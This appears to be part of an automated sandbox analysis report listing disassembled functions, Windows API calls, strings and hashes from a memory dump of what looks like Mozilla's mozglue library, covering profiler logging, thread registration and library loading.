Strings

leaf, xrefs: 6C63CC66
noiostacks, xrefs: 6C63CCBE
default, xrefs: 6C63CC21
Unrecognized feature "%s"., xrefs: 6C63CEA0
seqstyle, xrefs: 6C63CCE6
screenshots, xrefs: 6C63CCD4
fileioall, xrefs: 6C63CCA8
processcpu, xrefs: 6C63CE6E
cpuallthreads, xrefs: 6C63CE16
audiocallbacktracing, xrefs: 6C63CDD4
fileio, xrefs: 6C63CC92
mainthreadio, xrefs: 6C63CC7C
preferencereads, xrefs: 6C63CD92
ipcmessages, xrefs: 6C63CDBE
notimerresolutionchange, xrefs: 6C63CE00
stackwalk, xrefs: 6C63CCF8
unregisteredthreads, xrefs: 6C63CE58
markersallthreads, xrefs: 6C63CE42
power, xrefs: 6C63CE84
samplingallthreads, xrefs: 6C63CE2C
nostacksampling, xrefs: 6C63CD7C
nativeallocations, xrefs: 6C63CDA8
jsallocations, xrefs: 6C63CD0E
java, xrefs: 6C63CC37

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 33773cb5c82763134d5eb07059fba68b5c45a0a95a046aa21a34543a43589823
Instruction ID: 58e0504400a6ff802a0a3708cf858c1f8fd179d23857f68f301b404b78a8de96
Opcode Fuzzy Hash: 33773cb5c82763134d5eb07059fba68b5c45a0a95a046aa21a34543a43589823
Instruction Fuzzy Hash: E85155D194567572FE0231166D20BAA1485EF5334AF10763AFE1FA1E80FF05960AC9BF

Function 6C6047E6 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 220threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C604801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C604817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C60482D
__Init_thread_footer.LIBCMT ref: 6C60484A

Part of subcall function 6C62AB3F: EnterCriticalSection.KERNEL32(6C67E370,?,?,6C5F3527,6C67F6CC,?,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB49
Part of subcall function 6C62AB3F: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F3527,6C67F6CC,?,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62AB7C

GetCurrentThreadId.KERNEL32 ref: 6C60485F
GetCurrentThreadId.KERNEL32 ref: 6C60487E
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C60488B
free.MOZGLUE(?), ref: 6C60493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C604956
free.MOZGLUE(00000000), ref: 6C604960
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C60499A
free.MOZGLUE(?), ref: 6C6049C6

Part of subcall function 6C615E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C615EDB
Part of subcall function 6C615E90: memset.VCRUNTIME140(ewel,000000E5,?), ref: 6C615F27
Part of subcall function 6C615E90: LeaveCriticalSection.KERNEL32(?), ref: 6C615FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C604828
[I %d/%d] profiler_shutdown, xrefs: 6C604A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6C604A42
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C6047FC
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C604812

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 168835990f753515f5cfa01bf47e1636deb04c0e4d2cbf3a6ddd833d0b9d7dc7
Instruction ID: 979e02eac090d4fd9042abae5b93124b6ec5ff1efc29798f1ba8088be96aa468
Opcode Fuzzy Hash: 168835990f753515f5cfa01bf47e1636deb04c0e4d2cbf3a6ddd833d0b9d7dc7
Instruction Fuzzy Hash: E5811770B041108BDB2CDF29CA84B6A3771BF52318F140A39D916A7B46D7B1D855CBAE

Function 6C604470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C604730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6044B2,6C67E21C,6C67F7F8), ref: 6C60473E
Part of subcall function 6C604730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C60474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6044BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6044D2
InitOnceExecuteOnce.KERNEL32(6C67F80C,6C5FF240,?,?), ref: 6C60451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C60455C
LoadLibraryW.KERNEL32(?), ref: 6C604592
InitializeCriticalSection.KERNEL32(6C67F770), ref: 6C6045A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6045AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6045BB
InitOnceExecuteOnce.KERNEL32(6C67F818,6C5FF240,?,?), ref: 6C604612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C604636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C604644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C60466D
VerSetConditionMask.NTDLL ref: 6C60469F
VerSetConditionMask.NTDLL ref: 6C6046AB
VerSetConditionMask.NTDLL ref: 6C6046B2
VerSetConditionMask.NTDLL ref: 6C6046B9
VerSetConditionMask.NTDLL ref: 6C6046C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6046CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6046F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6046FD

Strings

kernel32.dll, xrefs: 6C6044CD
Ggl, xrefs: 6C6044FC
l, xrefs: 6C604578
NativeNtBlockSet_Write, xrefs: 6C6046F7
user32.dll, xrefs: 6C604557, 6C60463F
WRusr.dll, xrefs: 6C6044B5

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Ggl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-2544451872
Opcode ID: e82d4212d37f90767fc7d9fdf5c7dc24667eb3e3673f5c34c0424560c1afe17e
Instruction ID: 78fb9482df30e09af7817960f958dd5f7dcac8000179be6fd1052aef09b30c5a
Opcode Fuzzy Hash: e82d4212d37f90767fc7d9fdf5c7dc24667eb3e3673f5c34c0424560c1afe17e
Instruction Fuzzy Hash: 90612AB07043149FEB2A8F62CD89FA577B8EB92308F048858E504AB641D7F58945CF7E

Function 6C63F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C63F8F9

Part of subcall function 6C606390: GetCurrentThreadId.KERNEL32 ref: 6C6063D0
Part of subcall function 6C606390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6063DF
Part of subcall function 6C606390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C60640E

ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F93A
GetCurrentThreadId.KERNEL32 ref: 6C63F98A
GetCurrentThreadId.KERNEL32 ref: 6C63F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F716

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

Part of subcall function 6C5FB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C5FB5E0

GetCurrentThreadId.KERNEL32 ref: 6C63F739
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F746
GetCurrentThreadId.KERNEL32 ref: 6C63F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C67385B,00000002,?,?,?,?,?), ref: 6C63F829
free.MOZGLUE(?,?,00000000,?), ref: 6C63F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C63F866
free.MOZGLUE(?), ref: 6C63FA0C

Part of subcall function 6C605E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6C63F968), ref: 6C605E8C
Part of subcall function 6C605E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C605E9D
Part of subcall function 6C605E60: GetCurrentThreadId.KERNEL32 ref: 6C605EAB
Part of subcall function 6C605E60: GetCurrentThreadId.KERNEL32 ref: 6C605EB8
Part of subcall function 6C605E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C605ECF
Part of subcall function 6C605E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C605F27
Part of subcall function 6C605E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C605F47
Part of subcall function 6C605E60: GetCurrentProcess.KERNEL32 ref: 6C605F53
Part of subcall function 6C605E60: GetCurrentThread.KERNEL32 ref: 6C605F5C
Part of subcall function 6C605E60: GetCurrentProcess.KERNEL32 ref: 6C605F66
Part of subcall function 6C605E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C605F7E

free.MOZGLUE(?), ref: 6C63F9C5
free.MOZGLUE(?), ref: 6C63F9DA

Strings

Thread , xrefs: 6C63F789
" attempted to re-register as ", xrefs: 6C63F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C63F71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C63F9A6

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: d89b1fb91a280bfc0ceed66f4c606c33b7d11351d4e2320976f3764ee07fbdc1
Instruction ID: 2fc213278edb15c074afbd4b16438f9f17150e4473d8af1f600c9ba158806ba6
Opcode Fuzzy Hash: d89b1fb91a280bfc0ceed66f4c606c33b7d11351d4e2320976f3764ee07fbdc1
Instruction Fuzzy Hash: DB812770A043109FDB15DF25C880AAAB7B5EFC5308F54586DE84997B51EB30D849CFAB

Function 6C63EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63EE60
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63EE6D
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C63EEA5
CloseHandle.KERNEL32(?), ref: 6C63EEB4
free.MOZGLUE(00000000), ref: 6C63EEBB
GetCurrentThreadId.KERNEL32 ref: 6C63EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63EECF

Part of subcall function 6C63DE60: GetCurrentThreadId.KERNEL32 ref: 6C63DE73
Part of subcall function 6C63DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6C66FEF3,?,?,?,?,?,?,00000000), ref: 6C63DE7B
Part of subcall function 6C63DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000), ref: 6C63DEB8
Part of subcall function 6C63DE60: free.MOZGLUE(00000000), ref: 6C63DEFE
Part of subcall function 6C63DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C63DF38

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

GetCurrentThreadId.KERNEL32 ref: 6C63EF1E
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63EF2B
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63EF59
GetCurrentThreadId.KERNEL32 ref: 6C63EFB0
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63EFBD
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63EFE1
GetCurrentThreadId.KERNEL32 ref: 6C63EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F000

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C63F02F

Part of subcall function 6C63F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C63F09B
Part of subcall function 6C63F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C63F0AC
Part of subcall function 6C63F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C63F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C63F008
[I %d/%d] profiler_stop, xrefs: 6C63EED7

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 40596666866c4a4cfe934fc6c0e58af36dc0563228f1f3a03aa17809631e939d
Instruction ID: 3c52072c0cc5378fa5c480481d5e7accc98c7cb1b3ac08d0878bd0d8864db0fb
Opcode Fuzzy Hash: 40596666866c4a4cfe934fc6c0e58af36dc0563228f1f3a03aa17809631e939d
Instruction Fuzzy Hash: D85128316042309FDB195F66D488B997BB4EF87358F201D19EA1983B86CB744815CBBF

Function 6C607FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C608007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C60801D

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C60802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C60803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C60808D

Part of subcall function 6C60CA10: mozalloc_abort.MOZGLUE(?), ref: 6C60CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C60809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6080B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C6080DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6080ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6080FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C60810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C608133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C608149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C608167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C60817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C608199

Strings

0>cl, xrefs: 6C60811E

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>cl
API String ID: 2721933968-4115593776
Opcode ID: 6a6c7cb656f9e682f3b1ea7e1dba89ab40213fc96b6ba25ba0f44517c7c4a97b
Instruction ID: 532e3e25f2acfb15049b3233735797ebea6e144a13129e26719f081390f4211f
Opcode Fuzzy Hash: 6a6c7cb656f9e682f3b1ea7e1dba89ab40213fc96b6ba25ba0f44517c7c4a97b
Instruction Fuzzy Hash: C851A3B1E00214ABDB04DFA9DD84AEFB7B9AF49324F140125E815F7751E730A9058BA9

Function 6C609590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5F31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C5F3217
Part of subcall function 6C5F31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C5F3236
Part of subcall function 6C5F31C0: FreeLibrary.KERNEL32 ref: 6C5F324B
Part of subcall function 6C5F31C0: __Init_thread_footer.LIBCMT ref: 6C5F3260
Part of subcall function 6C5F31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C5F327F
Part of subcall function 6C5F31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F328E
Part of subcall function 6C5F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5F32AB
Part of subcall function 6C5F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5F32D1
Part of subcall function 6C5F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5F32E5
Part of subcall function 6C5F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5F32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C609675
__Init_thread_footer.LIBCMT ref: 6C609697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6096E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C609707
__Init_thread_footer.LIBCMT ref: 6C60971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C609773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6097B7
FreeLibrary.KERNEL32 ref: 6C6097D0
FreeLibrary.KERNEL32 ref: 6C6097EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C609824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C609670
MapViewOfFileNuma2, xrefs: 6C6097B1
NtMapViewOfSection, xrefs: 6C609701
ntdll.dll, xrefs: 6C6096E3

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 4e7c213e888679a7652b19c3708de9357fd5b34ef9bcb603f971f84825aa55e5
Instruction ID: a4bbe75046e1ce87557d64e3b2f38963110b8bec4394faa609fd6778498bd84b
Opcode Fuzzy Hash: 4e7c213e888679a7652b19c3708de9357fd5b34ef9bcb603f971f84825aa55e5
Instruction Fuzzy Hash: 3961E2717002119BDF0A8F66E9D8F9A7BB1FB8A319F104919E91593780D7349844CFBA

Function 6C656660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C67F618), ref: 6C656694
GetThreadId.KERNEL32(?), ref: 6C6566B1
GetCurrentThreadId.KERNEL32 ref: 6C6566B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6566E1
EnterCriticalSection.KERNEL32(6C67F618), ref: 6C656734
GetCurrentProcess.KERNEL32 ref: 6C65673A
LeaveCriticalSection.KERNEL32(6C67F618), ref: 6C65676C
GetCurrentThread.KERNEL32 ref: 6C6567FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C656868
RtlCaptureContext.NTDLL ref: 6C65687F

Strings

WalkStack64, xrefs: 6C656890

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

